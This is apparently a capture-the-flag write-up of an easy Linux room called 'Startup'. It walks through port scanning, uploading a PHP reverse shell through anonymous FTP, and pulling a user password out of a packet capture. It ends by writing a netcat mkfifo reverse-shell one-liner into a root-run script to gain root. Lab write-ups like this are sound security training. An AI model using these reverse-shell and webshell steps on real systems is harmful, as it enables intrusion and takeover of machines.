Posts Startup
Post
Cancel

Startup

Description

Abuse traditional vulnerabilities via untraditional means.

RoomSimpleCTF
OSLinux
DifficultyEasy
Creatorelbee

Let’s deploy the machine and quickly scan all ports with rustscan,

1
rustscan -a 10.10.243.193

image

we got 3 open ports. Let’s quickly scan them in detail using nmap.

1
nmap -sV -sC -p21,22,80 10.10.243.193 -oN nmap.txt

image

Scan result shows that port 21 is running ftp service with anonymous login, port 22 is running ssh and port 80 is running webserver.

Let’s enumerate ftp service,

1
ftp 10.10.243.193

image

we got in.

Enumerate directory,

image

we got an image and a text file.

Let’s download them on our system,

1
mget *

Reading notice.txt file content,

image

After reading this message, it seems like there is a open directory on website which can be accessible by anyone who visits the website and can access the documents available on that directory.

Let’s take a look at image,

image

Seems like there is a imposter. We have to find who is that.

Enumerating port 80 by visiting http://10.10.243.193,

image

This is a simple page which have nothing on it in particular.

Let’s find hidden directory using dirsearch,

1
dirsearch -u http://10.10.243.193 -w /usr/share/seclists/Discovery/Web-Content/common.txt -i 200,301 2>/dev/null

image

we got a files directory.

Visit http://10.10.243.193/files, there is another directory named ftp. Navigate into it. It seems like this is the directory which is publicly accessible. Since we have access to ftp service, then why don’t drop a reverse shell and get in touch with system? Let’s do this! Copy php-reverse-shell.php from /usr/share/webshells/php/ directory and change the IP and port.

Uploading this shell,

1
put php-reverse-shell.php

image

Let’s start the netcat listener using nc -nvlp 4444 and trigger the shell that we uploaded on ftp service,

image

We will get a connection,

image

This is not a tty shell, so let’s improve this shell, python3 -c 'import pty;pty.spawn("/bin/bash")'

Now, enumerating the root directory,

image

and I got recipe.txt file and a weird /incident directory.

Let’s read the content,

image

we got the message.

Enumerating the incident directory using ls -la,

image

we got a suspicious.pcapng file (wireshark file extension).

I tried using scp tool but I was unsuccessful because I don’t have the password of www-data user, so instead, I copied the file where we triggered the shell,

1
cp suspicious.pcapng /var/www/html/files/ftp

image

Download this file,

image

Now, open the wireshark because we have to analyze this file,

image

and we got a request of length 1468 (big enough to contain data). Let’s inspect it by right-clicking and going for TCP stream in Follow section.

Scrolling down a bit,

image

we get the password c4ntg3t3n0ughsp1c3 of lennie user.

Let’s change to lennie user,

1
su lennie

image

Enumerate the directory,

image

we got user flag.

There is a Document directory and inside there are 3 files. I read their content but didn’t find them useful at all.

Let’s navigate to scripts directory and enumerating directory,

image

Reading the content of startup_list.txt but it is empty so we I don’t find anything useful.

Let’s read the content of planner.sh script,

image

This is bash script which is doing the some things like:

  • it is putting $LIST variable contents into /home/lennie/scripts/startup_lis.txt
  • also, it is running /etc/print.sh bash script.

Checking the owner properties of planner.sh script,

1
ls -la planner.sh

image

which is run as root user.

I checked $LIST variable to see if there is anything inside but was empty. Looking inside the print.sh script,

1
cat /etc/print.sh

image

this script is doing nothing but printing done!.

Checking the owner properties of planner.sh script,

1
ls -la print.sh

image

this script is ran as lennie user. So we can write in this script.

Let’s try to put netcat reverse one-liner shell into this script,

1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.0.226 5555 >/tmp/f" > /etc/print.sh

Setting up our netcat listener on new terminal using nc -nvlp 5555 and firing off our planner.sh script,

1
./planner.sh

image

the prompt will get stucked.

On the new terminal,

image

We got root. Check using id command.

1
2
3
What did happened when we ran the planner.sh script?

Explanation: As we know that planner.sh script is calling the /etc/print.sh script. And we are lennie user, so we are able to put the one-liner reverse shell into /etc/print.sh script. Now, when planner.sh script will run, it will run as root, meaning when /etc/print.sh file will be called, it will be called by root user and is executed as root privileges. So we got root access on reverse connection.
This post is licensed under CC BY 4.0 by the author.